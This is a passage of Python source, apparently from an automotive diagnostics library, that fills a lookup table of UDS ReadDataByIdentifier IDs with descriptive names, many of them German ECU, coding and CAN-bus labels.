2301-23FF" UDS_RDBI.dataIdentifiers[0x23d9] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23da] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23db] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23dc] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23dd] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23de] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23df] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e0] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e1] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e2] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e3] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e4] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e5] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e6] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e7] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e8] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e9] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ea] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23eb] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ec] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ed] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ee] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ef] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f0] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f1] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f2] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f3] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f4] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f5] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f6] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f7] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f8] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f9] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23fa] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23fb] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23fc] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23fd] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23fe] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ff] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2400] = "personalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2401] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2402] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2403] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2404] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2405] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2406] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2407] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2408] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2409] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x240a] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x240b] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x240c] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x240d] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x240e] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x240f] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2410] = "personalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2411] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2412] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2413] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2414] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2415] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2416] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2417] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2418] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2419] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x241a] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x241b] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x241c] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x241d] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x241e] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x241f] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2420] = "personalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2421] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2422] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2423] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2424] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2425] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2426] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2427] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2428] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2429] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x242a] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x242b] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x242c] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x242d] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x242e] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x242f] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2430] = "personalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2431] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2432] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2433] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2434] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2435] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2436] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2437] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2438] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2439] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x243a] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x243b] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x243c] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x243d] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x243e] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x243f] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2500] = "programmReferenzBackup/vehicleManufacturerECUHW_NrBackup" # noqa E501 UDS_RDBI.dataIdentifiers[0x2501] = "eraseTime, signatureTime, resetTime, authentificationTime" # or memorySegmentationTable # noqa E501 UDS_RDBI.dataIdentifiers[0x2502] = "hardwareReferenz" # or programmingCounter # noqa E501 UDS_RDBI.dataIdentifiers[0x2503] = "programmingCounter-MaxValue" # or programmReferenz # noqa E501 UDS_RDBI.dataIdentifiers[0x2504] = "flashTimingParameter" # or datenReferenz # noqa E501 UDS_RDBI.dataIdentifiers[0x2505] = "maximumBlocklength" UDS_RDBI.dataIdentifiers[0x2506] = "ReadMemoryAddress" # or maximaleBlockLaenge # noqa E501 UDS_RDBI.dataIdentifiers[0x2507] = "EcuSupportsDeleteSwe" UDS_RDBI.dataIdentifiers[0x2508] = "GWRoutingStatus" UDS_RDBI.dataIdentifiers[0x2509] = "RoutingTable" UDS_RDBI.dataIdentifiers[0x2541] = "STATUS_CALCVN" UDS_RDBI.dataIdentifiers[0x3000] = "RDBI_CD_REQ" # or WDBI_CD_REQ UDS_RDBI.dataIdentifiers[0x300a] = "Codier-VIN" UDS_RDBI.dataIdentifiers[0x37fe] = "Codierpruefstempel" UDS_RDBI.dataIdentifiers[0x3f00] = "SVT-Ist" UDS_RDBI.dataIdentifiers[0x3f01] = "SVT-Soll" UDS_RDBI.dataIdentifiers[0x3f02] = "SGListeSecurity" UDS_RDBI.dataIdentifiers[0x3f03] = "SG-Liste SWT" UDS_RDBI.dataIdentifiers[0x3f04] = "Zeitstempel" UDS_RDBI.dataIdentifiers[0x3f05] = "Liste aller Seriennummern" UDS_RDBI.dataIdentifiers[0x3f06] = "FA" UDS_RDBI.dataIdentifiers[0x3f07] = "SGListeKomplett" UDS_RDBI.dataIdentifiers[0x3f08] = "SGListeAktivesMelden" UDS_RDBI.dataIdentifiers[0x3f09] = "FP" UDS_RDBI.dataIdentifiers[0x3f0a] = "SGListeDifferentiellProg" UDS_RDBI.dataIdentifiers[0x3f0b] = "SGListeNGSC" UDS_RDBI.dataIdentifiers[0x3f0c] = "SGListeCodierrelevantesSG" UDS_RDBI.dataIdentifiers[0x3f0d] = "SGListeFlashfaehigesSG" UDS_RDBI.dataIdentifiers[0x3f0e] = "SGListeK_CAN" UDS_RDBI.dataIdentifiers[0x3f0f] = "SGListeBody_CAN" UDS_RDBI.dataIdentifiers[0x3f10] = "SGListeI_CAN" UDS_RDBI.dataIdentifiers[0x3f11] = "SGListeMOST" UDS_RDBI.dataIdentifiers[0x3f12] = "SGListeFA_CAN" UDS_RDBI.dataIdentifiers[0x3f13] = "SGListeFlexRay" UDS_RDBI.dataIdentifiers[0x3f14] = "SGListeA_CAN" UDS_RDBI.dataIdentifiers[0x3f15] = "SGListeISO14229" UDS_RDBI.dataIdentifiers[0x3f16] = "SGListeS_CAN" UDS_RDBI.dataIdentifiers[0x3f17] = "SGListeEthernet" UDS_RDBI.dataIdentifiers[0x3f18] = "SGListeD_CAN" UDS_RDBI.dataIdentifiers[0x3f19] = "Identifikation VCM" UDS_RDBI.dataIdentifiers[0x3f1a] = "SVT-Version" UDS_RDBI.dataIdentifiers[0x3f1b] = "vehicleOrder_3F00_3FFE" UDS_RDBI.dataIdentifiers[0x3f1c] = "FA_Teil1" UDS_RDBI.dataIdentifiers[0x3f1d] = "FA_Teil2" UDS_RDBI.dataIdentifiers[0x3fff] = "changeIndexOfCodingData" UDS_RDBI.dataIdentifiers[0x403c] = "STATUS_CALCVN_EA" UDS_RDBI.dataIdentifiers[0x4080] = "AirbagLock_NEU" UDS_RDBI.dataIdentifiers[0x4ab4] = "Betriebsstundenzaehler" UDS_RDBI.dataIdentifiers[0x5fc2] = "WDBI_DME_ABGLEICH_PROG_REQ" UDS_RDBI.dataIdentifiers[0xd114] = "Gesamtweg-Streckenzähler Offset" UDS_RDBI.dataIdentifiers[0xd387] = "STATUS_DIEBSTAHLSCHUTZ" UDS_RDBI.dataIdentifiers[0xdb9c] = "InitStatusEngineAngle" UDS_RDBI.dataIdentifiers[0xf000] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf001] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf002] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf003] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf004] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf005] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf006] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf007] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf008] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf009] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf00a] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf00b] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf00c] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf00d] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf00e] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf00f] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf010] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf011] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf012] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf013] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf014] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf015] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf016] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf017] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf018] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf019] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf01a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf01b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf01c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf01d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf01e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf01f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf020] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf021] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf022] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf023] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf024] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf025] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf026] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf027] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf028] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf029] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf02a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf02b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf02c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf02d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf02e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf02f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf030] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf031] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf032] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf033] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf034] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf035] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf036] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf037] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf038] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf039] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf03a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf03b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf03c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf03d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf03e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf03f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf040] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf041] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf042] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf043] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf044] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf045] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf046] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf047] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf048] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf049] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf04a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf04b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf04c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf04d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf04e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf04f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf050] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf051] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf052] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf053] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf054] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf055] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf056] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf057] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf058] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf059] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf05a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf05b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf05c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf05d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf05e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf05f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf060] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf061] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf062] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf063] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf064] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf065] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf066] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf067] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf068] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf069] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf06a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf06b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf06c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf06d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf06e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf06f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf070] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf071] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf072] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf073] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf074] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf075] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf076] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf077] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf078] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf079] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf07a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf07b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf07c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf07d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf07e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf07f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf080] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf081] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf082] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf083] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf084] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf085] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf086] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf087] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf088] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf089] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf08a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf08b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf08c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf08d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf08e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf08f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf090] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf091] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf092] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf093] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf094] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf095] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf096] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf097] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf098] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf099] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf09a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf09b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf09c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf09d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf09e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf09f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a0] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a1] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a2] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a3] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a4] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a5] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a6] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a7] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a8] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a9] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0aa] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ab] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ac] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ad] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ae] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0af] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b0] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b1] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b2] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b3] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b4] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b5] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b6] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b7] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b8] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b9] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ba] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0bb] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0bc] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0bd] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0be] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0bf] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c0] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c1] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c2] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c3] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c4] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c5] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c6] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c7] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c8] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c9] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ca] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0cb] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0cc] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0cd] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ce] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0cf] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d0] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d1] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d2] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d3] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d4] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d5] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d6] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d7] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d8] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d9] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0da] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0db] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0dc] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0dd] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0de] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0df] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e0] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e1] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e2] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e3] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e4] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e5] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e6] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e7] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e8] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e9] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ea] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0eb] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ec] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ed] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ee] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ef] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f0] = 